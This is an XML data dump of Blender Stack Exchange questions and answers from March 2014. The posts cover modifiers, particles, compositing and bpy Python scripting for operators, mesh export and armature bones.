  <row Id="7433" PostTypeId="1" CreationDate="2014-03-01T16:03:20.423" Score="1" ViewCount="45" Body="&lt;p&gt;Since we have the ability to save a NodeTree into the deault .blend file I'm wondering if there are any guidelines or ceilings that need to be observed before I ramp up and save lots of NoteTrees into the default file.  I find myself using some of the bwide stuff quite a bit and am thinking of dropping into the startup file but I don't want to go to the trouble of doing this if it might cause performance or other issues down the road.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any guidance on this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@lan&lt;/p&gt;&#xA;" OwnerUserId="809" LastActivityDate="2014-03-01T20:26:21.430" Title="How do I determine NodeTree overhead in a .blend file?" Tags="&lt;nodes&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7434" PostTypeId="1" AcceptedAnswerId="7436" CreationDate="2014-03-01T16:06:36.560" Score="12" ViewCount="6325" Body="&lt;p&gt;I want to create a wave made out of particles/dots. The wave should look like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T297J.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I tried to achieve this effect by adding an ocean modifier to a plane. Then I added a particle system to the plane but now I don't know how to go on. How can I make the particles lay on the 'ocean' and move when the ocean is moving?&lt;/p&gt;&#xA;&lt;p&gt;PS: I know there is a way to do this with a material in the Blender Render. But firstly I want to create the whole thing in Cycles and secondly I want to have particles.&lt;/p&gt;&#xA;" OwnerUserId="2357" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-28T10:33:17.207" Title="Abstract Wave with Particle System" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7435" PostTypeId="1" AcceptedAnswerId="7444" CreationDate="2014-03-01T16:19:56.080" Score="9" ViewCount="12837" Body="&lt;p&gt;I have an object on which I want to apply a bevel modifier. After applying, no matter how high I increase the Width, the bevel stays the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About the object: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I've imported a .svg and then converted it to 'Mesh from Curve'&lt;/li&gt;&#xA;&lt;li&gt;In Edit Mode: Select all Faces → Mesh → Faces → Beautify Fill&lt;/li&gt;&#xA;&lt;li&gt;Select all Faces → Mesh → Delete → Limited Dissolve&lt;/li&gt;&#xA;&lt;li&gt;Then I extruded the Object and now I want to create a bevel&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can get the .blend file &lt;a href=&quot;http://www.mediafire.com/download/hg0ih6phxl5tnhh/Bevel.blend&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to achieve is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CVFyq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone an Idea?&lt;/p&gt;&#xA;" OwnerUserId="2357" LastActivityDate="2014-03-02T12:05:51.030" Title="Bevel modifier not working properly" Tags="&lt;modifiers&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7436" PostTypeId="2" ParentId="7434" CreationDate="2014-03-01T16:22:15.747" Score="9" Body="&lt;p&gt;&lt;strong&gt;Method 1 - Dupliverts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use a mesh such as a cube or a simple Icosphere for your particle, this will allow you to properly shade the particles like any other mesh&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the particle mesh, in my case an Icosphere&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the ocean&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;parent the particle to the ocean, &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;P&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the ocean&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In mesh panel, set duplication type to verts&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sdePo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/pic/show.php?id=67612&quot; rel=&quot;noreferrer&quot;&gt;http://www.pasteall.org/pic/show.php?id=67612&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 2 - Particle System&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure your particle system is one the bottom of the modifier stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AIB0B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the particle system enable Use Modifier Stack&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/37hAd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to use another mesh as the particles you need to select the particle system and under the render tab, Select Object as your render type. Then you can choose you object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X9A71.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-01T17:20:44.183" LastActivityDate="2014-03-01T17:20:44.183" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7437" PostTypeId="2" ParentId="7435" CreationDate="2014-03-01T16:26:16.090" Score="12" Body="&lt;p&gt;The 'Clamp Overlap' option is enabled on the modifier. Un-check this to have a bigger bevel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would then suggest immediately setting the bevel back to 0 as the current value will be very large.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;kbd&gt;Shift&lt;/kbd&gt; while dragging on the bevel width value to increase the value slowly.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-03-01T16:26:16.090" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7438" PostTypeId="1" AcceptedAnswerId="7443" CreationDate="2014-03-01T17:49:30.190" Score="4" ViewCount="761" Body="&lt;p&gt;I'm writing a script, where an operator is registered in the Add-&gt;Mesh menu. Clicking this menu displays a panel, where the user can enter certain parameters and then invoke another operator using a button in the panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using custom scene properties for the parameters, as shown in &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Interface#Using_scene_properties_to_store_information&quot; rel=&quot;nofollow&quot;&gt;this code snippet&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The text property is set to an empty string whenever I edit it. It starts out with the default value &quot;Lorem ipsum&quot;. Whenever I change the value in the panel text box, and then click away, the text box loses its value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my stripped down code, which still doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def initSceneProperties(scene):&#xA;    bpy.types.Scene.photoPath = StringProperty(&#xA;            name=&quot;Path to photos&quot;,&#xA;            description=&quot;Path to the folder containing the JPG photos&quot;)&#xA;    scene[&quot;photoPath&quot;] = &quot;Lorem ipsum&quot;&#xA;    return&#xA;&#xA;initSceneProperties(bpy.context.scene)&#xA;# ==============================================================&#xA;class add_mesh_point_cloud(bpy.types.Operator):&#xA;    bl_idname = &quot;mesh.point_cloud_add&quot;&#xA;    bl_label = &quot;Add Point Cloud&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;    bl_description = &quot;Generate a point cloud from photographs&quot;&#xA;&#xA;    def execute(self, context):&#xA;        return {'FINISHED'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        return {'FINISHED'}&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        layout.prop(context.scene, &quot;photoPath&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's happening? How can I fix it?&lt;/p&gt;&#xA;" OwnerUserId="978" LastActivityDate="2014-03-01T18:55:17.923" Title="Custom scene properties mysteriously resetting" Tags="&lt;python&gt;&lt;scripting&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7439" PostTypeId="2" ParentId="5382" CreationDate="2014-03-01T17:55:51.563" Score="2" Body="&lt;p&gt;For me iKlsR's method did not work when trying to export multiple meshes. I got all meshes in the first exported file. The other exports were rather random, some contained nothing, others contained 3 objects. I have changed some code around and it works for me now.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method for exporting a selection.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;# get the current path and make a new folder for the exported meshes&#xA;path = bpy.path.abspath('//objs' + os.sep)&#xA;os.makedirs(path)&#xA;&#xA;for object in bpy.context.selected_objects:&#xA;&#xA;    # deselect all meshes&#xA;    bpy.ops.object.select_all(action='DESELECT')&#xA;&#xA;    # select the object&#xA;    object.select = True&#xA;&#xA;    # export object with its name as file name&#xA;    bpy.ops.export_scene.obj(&#xA;            filepath=path + object.name + '.obj',&#xA;            use_selection=True,&#xA;            )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="55" LastEditDate="2016-05-13T04:34:29.230" LastActivityDate="2016-05-13T04:34:29.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7440" PostTypeId="1" CreationDate="2014-03-01T17:56:08.510" Score="3" ViewCount="3472" Body="&lt;p&gt;If I press the &quot;include alpha-button&quot; in the Mix-Color-Node, I get white borders. Otherwise i've got a perfect alpha but no blue background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j58Qe.jpg&quot; alt=&quot;white-border problem&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2642" LastActivityDate="2014-03-01T18:20:05.033" Title="Can't get rid of that white-alpha-border!" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7441" PostTypeId="2" ParentId="7440" CreationDate="2014-03-01T18:06:01.390" Score="3" Body="&lt;p&gt;Use the Alpha Over Node instead of the mix node. Color -&gt; Alpha Over&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vrK14.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will also work if you use an image instead of a RGB node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ejEVs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-01T18:20:05.033" LastActivityDate="2014-03-01T18:20:05.033" CommentCount="32" ContentLicense="CC BY-SA 3.0" />
  <row Id="7442" PostTypeId="1" CreationDate="2014-03-01T18:18:53.187" Score="1" ViewCount="2173" Body="&lt;p&gt;Hi I'm new to blender and am trying to model a character. In the tutorial I'm following each vertex moves independently. For example, when moving one vertex only that vertex moves, whereas for me it's moving the other vertices, which is making it harder for me to build a basic model the way it should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how it works in the tutorial:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fvGId.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is what it's doing for me:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/U65ut.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than distorting the area it's moving the whole section. I've searched with all the possible questions I can think of but can't find anything, which solves this problem. How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="2643" LastEditorUserId="12" LastEditDate="2014-03-01T20:39:01.943" LastActivityDate="2014-03-01T20:39:01.943" Title="Transforming a vertex moves other vertices" Tags="&lt;modeling&gt;&lt;vertices&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-03-01T20:38:38.490" ContentLicense="CC BY-SA 3.0" />
  <row Id="7443" PostTypeId="2" ParentId="7438" CreationDate="2014-03-01T18:45:52.433" Score="4" Body="&lt;p&gt;If you use the operator panel in the toolbar with register, changing a value in the panel will undo the changes made by the last call of the operator's execute method (including the change made to the scene's custom property which causes the update procedure and then gets reset to its previous value when the undo is performed) and run the method again with the new parameters given.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could simply use another string property for the operator and assign it's value to &lt;code&gt;scene.photoPath&lt;/code&gt; in the operator's execute method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class add_mesh_point_cloud(bpy.types.Operator):&#xA;    bl_idname = &quot;mesh.point_cloud_add&quot;&#xA;    bl_label = &quot;Add Point Cloud&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;    bl_description = &quot;Generate a point cloud from photographs&quot;&#xA;&#xA;    photoPath = bpy.props.StringProperty(&#xA;                    name=&quot;Path to photos&quot;,&#xA;                    description=&quot;Path to the folder containing the JPG photos&quot;&#xA;                    )&#xA;&#xA;    def execute(self, context):&#xA;        context.scene.photoPath = self.photoPath&#xA;        return {'FINISHED'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        self.photoPath = context.scene.photoPath&#xA;        return self.execute(context)&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        layout.prop(self, &quot;photoPath&quot;)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    bpy.utils.register_class(add_mesh_point_cloud)&#xA;    bpy.types.Scene.photoPath = bpy.props.StringProperty(&#xA;                                    default = &quot;LoremIpsum&quot;&#xA;                                    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-03-01T18:55:17.923" LastActivityDate="2014-03-01T18:55:17.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7444" PostTypeId="2" ParentId="7435" CreationDate="2014-03-01T19:52:19.107" Score="11" Body="&lt;p&gt;You can also directly apply a depth and extrude parameter to the Curve object. This keeps the curve object editable. And it gives cleaner result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Cjao.png&quot; alt=&quot;Curve Datablock Editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qqdNE.png&quot; alt=&quot;Result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-03-01T19:52:19.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7445" PostTypeId="1" AcceptedAnswerId="7460" CreationDate="2014-03-01T20:12:57.537" Score="1" ViewCount="180" Body="&lt;p&gt;I'm trying to write a script which recursively dumps all data found in &lt;code&gt;bpy.data&lt;/code&gt;.&#xA;The idea is when a .blend file is messed up I could compare it with an earlier version and could find the exact changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running the script below the default scene already creates a 160 MB file this is caused by lines like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.brushes.clone_offset.xx.xx.x=0.0&#xA;bpy.data.brushes.clone_offset.xx.xxx.x=0.0&#xA;bpy.data.brushes.clone_offset.xx.xxxx.x=0.0&#xA;bpy.data.brushes.clone_offset.xx.xxxy.x=0.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't understand where they do come from, how should I cope with vector objects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The full script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender.exe --background -P dump.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;map={}&#xA;&#xA;def dump(obj, name=&quot;&quot;, level=0):&#xA;    if level &amp;gt; 5:&#xA;        return&#xA;    print(&quot;call %d obj=%s type=%s&quot; % (level, str(obj), str(type(obj))))&#xA;    if str(type(obj)) in (&quot;&amp;lt;class 'builtin_function_or_method'&amp;gt;&quot;,):#&quot;&amp;lt;class 'Vector'&amp;gt;&quot;):&#xA;        return&#xA;    if id(obj) in map:&#xA;        print(&quot;already dumped=%s&quot; % obj )&#xA;        return&#xA;    map[id(obj)]=obj&#xA;&#xA;    if str(type(obj)) == &quot;&amp;lt;class 'bpy_prop_collection'&amp;gt;&quot;:&#xA;        print(&quot;isbpy_prop&quot;)&#xA;        for item in obj:&#xA;            dump( item, name , level+1)&#xA;            return&#xA;&#xA;    if str(type(obj)) == &quot;&amp;lt;class 'tuple'&amp;gt;&quot;:&#xA;        idx=0&#xA;        for item in obj:&#xA;            dump( item, name + &quot;[&quot; +str(idx) + &quot;]&quot;, level+1)&#xA;            idx = idx+1&#xA;            return;&#xA;    for attr in dir(obj):&#xA;       if not hasattr(obj, attr ) or attr.startswith(&quot;__&quot;) or attr in (&quot;bl_rna&quot;,&quot;base&quot;,&quot;rna_type&quot;):&#xA;           continue&#xA;       val = getattr(obj, attr)&#xA;       if isinstance(val, (int, float, str, bool)):&#xA;          print(&quot;%s.%s=%s&quot; % (name,attr,val))&#xA;       else:&#xA;          dump( val, name + &quot;.&quot; + attr, level+1)&#xA;&#xA;print(60*&quot;-&quot;)&#xA;dump(bpy.data,&quot;bpy.data&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-03-02T12:31:51.620" Title="How to avoid permutations of vector objects when dumping data?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7446" PostTypeId="2" ParentId="7433" CreationDate="2014-03-01T20:26:21.430" Score="2" Body="&lt;p&gt;This should not affect anything significantly. I have already added a few of my own nodegroups and a couple node groups from the b&amp;deg;wide nodepack to my startup.blend and have noticed no side effects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nodegroups don't really affect performance (unless they are being used), the biggest thing would be file size (which you probably don't have to worry about, because they don't take up much space).&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-03-01T20:26:21.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7447" PostTypeId="1" AcceptedAnswerId="7451" CreationDate="2014-03-01T20:48:32.327" Score="1" ViewCount="1400" Body="&lt;p&gt;I am trying to use the cell fracture addon to make tiny, pointy shards from a plane. I will have objects flying through the ground and shattering it. The original plane looks like ice when it is textured. When I turn the quantity up in the cell fracture settings, the pieces look like rectangles. Like I stated I wanted to make many tiny, uneven, pointy shards. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VFvNg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2358" LastActivityDate="2014-03-01T22:55:03.673" Title="Cell Fracture Causing Squares" Tags="&lt;cycles-render-engine&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7448" PostTypeId="1" CreationDate="2014-03-01T21:33:22.507" Score="2" ViewCount="717" Body="&lt;p&gt;I have a dict of 2d data and I want to generate bones (skeleton), assuming z = 0 for translation and rotation is across z axis in given dict.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;data = {&quot;bones&quot;:[{&quot;name&quot;:&quot;root&quot;},&#xA;{&quot;name&quot;:&quot;COM&quot;,&quot;parent&quot;:&quot;root&quot;,&quot;length&quot;:35.18,&quot;x&quot;:-128.09,&quot;y&quot;:160.22},&#xA;{&quot;name&quot;:&quot;torso&quot;,&quot;parent&quot;:&quot;COM&quot;,&quot;length&quot;:102.78,&quot;x&quot;:127.78,&quot;y&quot;:-116.67,&quot;rotation&quot;:90},&#xA;{&quot;name&quot;:&quot;armL&quot;,&quot;parent&quot;:&quot;torso&quot;,&quot;length&quot;:76.14,&quot;x&quot;:62.96,&quot;y&quot;:-39.81,&quot;rotation&quot;:-103.29},&#xA;{&quot;name&quot;:&quot;armR&quot;,&quot;parent&quot;:&quot;torso&quot;,&quot;length&quot;:92.75,&quot;x&quot;:68.52,&quot;y&quot;:32.4,&quot;rotation&quot;:104.14}]}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is my blender script to iterate on the dict. I can create bones.&#xA;currently placing new bone on top of each other(almost).&#xA;what I can handle is,&#xA;initial head position directly , on x and y coords&#xA;placing tail position directly via length&#xA;but&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOW to apply rotation? any ideas&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample code for current progress..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import json,os,sys&#xA;from mathutils import Matrix&#xA;from mathutils import Vector&#xA;import bpy&#xA;&#xA;def createBaseArmature():&#xA;    bpy.ops.object.add(type='ARMATURE',enter_editmode=True,location=(0,0,0))&#xA;    ob = bpy.context.object&#xA;    return ob&#xA;def createBones(amt,bonesData):&#xA;    print (str(len(bonesData)) + &quot; bones found&quot;)&#xA;    for each in bonesData:&#xA;        bone = amt.edit_bones.new(each['name'])&#xA;        if 'parent' in each:&#xA;            bone.parent = amt.edit_bones[each['parent']]&#xA;            bone.head = bone.parent.tail&#xA;            rot = Matrix.Translation((0,0,0))&#xA;            bone.tail = rot * Vector ((0,0,each['length'])) + bone.head&#xA;        else:&#xA;            bone.head = (0,0,0)&#xA;            bone.tail = (0,0,1)&#xA;&#xA;obj = createBaseArmature()&#xA;amt = obj.data&#xA;createBones(amt,data['bones'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="259" LastEditorUserId="55" LastEditDate="2014-03-02T14:13:32.267" LastActivityDate="2014-03-02T14:13:32.267" Title="How to rotate an EditBone? is it possible" Tags="&lt;transforms&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7449" PostTypeId="1" AcceptedAnswerId="7455" CreationDate="2014-03-01T21:45:05.420" Score="5" ViewCount="2423" Body="&lt;p&gt;I want to add a lamp the current scene using python on startup. I do not want to change the default scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code that I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.ops.object.lamp_add(type='POINT', view_align=False, location=(0.0, 0.0, 0.0), rotation=(0.0, 0.0, 0.0), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It adds a point lamp at origin. Like this &lt;a href=&quot;https://blender.stackexchange.com/questions/2738/how-could-a-single-python-script-run-when-blender-is-started&quot;&gt;answer&lt;/a&gt; suggests: I have saved this file in &lt;code&gt;scripts/startup&lt;/code&gt; as a &lt;code&gt;add_lamp.py&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How ever when I start blender nothing has changed. I see no lamps added.&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2014-03-02T04:28:22.033" Title="Execute operators from Python at start up" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7450" PostTypeId="2" ParentId="7449" CreationDate="2014-03-01T21:55:11.297" Score="2" Body="&lt;p&gt;You're probably using 2.7, the console now prints:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning! 'C:\Users\user\blender-2.70-testbuild1-win64\2.69\scripts\startup\lamps.py' &#xA;has no register function, this is now a requirement for registerable scripts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would need to add a register function to you script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def register():&#xA;    print(&quot;add&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this works, but your operator invocation leads to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;C:\Users\user\blender-2.70-testbuild1-win64\2.69\scripts\modules\bpy\utils.py&quot;, line 160, in register_module_call&#xA;    register()&#xA;  File &quot;C:\Users\user\blender-2.70-testbuild1-win64\2.69\scripts\startup\lamps.py&quot;, line 5, in register&#xA;    bpy.ops.objects.lamp_add(type='POINT', view_align=False, location=(0.0, 0.0, 0.0), rotation=(0.0, 0.0, 0.0),layers=(True, False,&#xA; False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))&#xA;  File &quot;C:\Users\user\blender-2.70-testbuild1-win64\2.69\scripts\modules\bpy\ops.py&quot;, line 182, in __call__&#xA;    BPyOpsSubModOp._scene_update(context)&#xA;  File &quot;C:\Users\user\blender-2.70-testbuild1-win64\2.69\scripts\modules\bpy\ops.py&quot;, line 148, in _scene_update&#xA;    scene = context.scene&#xA;AttributeError: '_RestrictContext' object has no attribute 'scene'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-03-01T22:29:26.737" LastActivityDate="2014-03-01T22:29:26.737" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7451" PostTypeId="2" ParentId="7447" CreationDate="2014-03-01T22:55:03.673" Score="3" Body="&lt;p&gt;You will want to modify certain parameters of the cell fracture tool. To change the numbers of fractures increase the Source Limit. To avoid all fractures looking like squares increase the noise. I would increase is all the way to &lt;code&gt;1&lt;/code&gt;, this will look the most natural.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gd7HM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-01T22:55:03.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7452" PostTypeId="1" AcceptedAnswerId="24875" CreationDate="2014-03-01T23:11:28.973" Score="4" ViewCount="2446" Body="&lt;p&gt;What I want to do is, instead of using water with water simulation, I want to make lots of cubes flow like water (like the water simulation does with the mesh). Remesh won't work, because I want to be able to edit the cubes afterwards to make some of them different.&lt;/p&gt;&#xA;" OwnerUserId="1828" LastActivityDate="2015-02-16T19:34:49.620" Title="Make meshes simulate like water?" Tags="&lt;modeling&gt;&lt;fluid-simulation&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7453" PostTypeId="2" ParentId="7452" CreationDate="2014-03-01T23:53:48.717" Score="4" Body="&lt;p&gt;If i understood your question correctly, you can use the particles engine with dupli-object to simulate a flow of cubes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fluid Particles are explained in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles/Physics/Fluid&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender manual here.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rGS7c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out the &lt;a href=&quot;https://dl.dropboxusercontent.com/u/1742071/StackExchange/fluidCube.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;sample file&lt;/a&gt; I put together.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-03-01T23:53:48.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
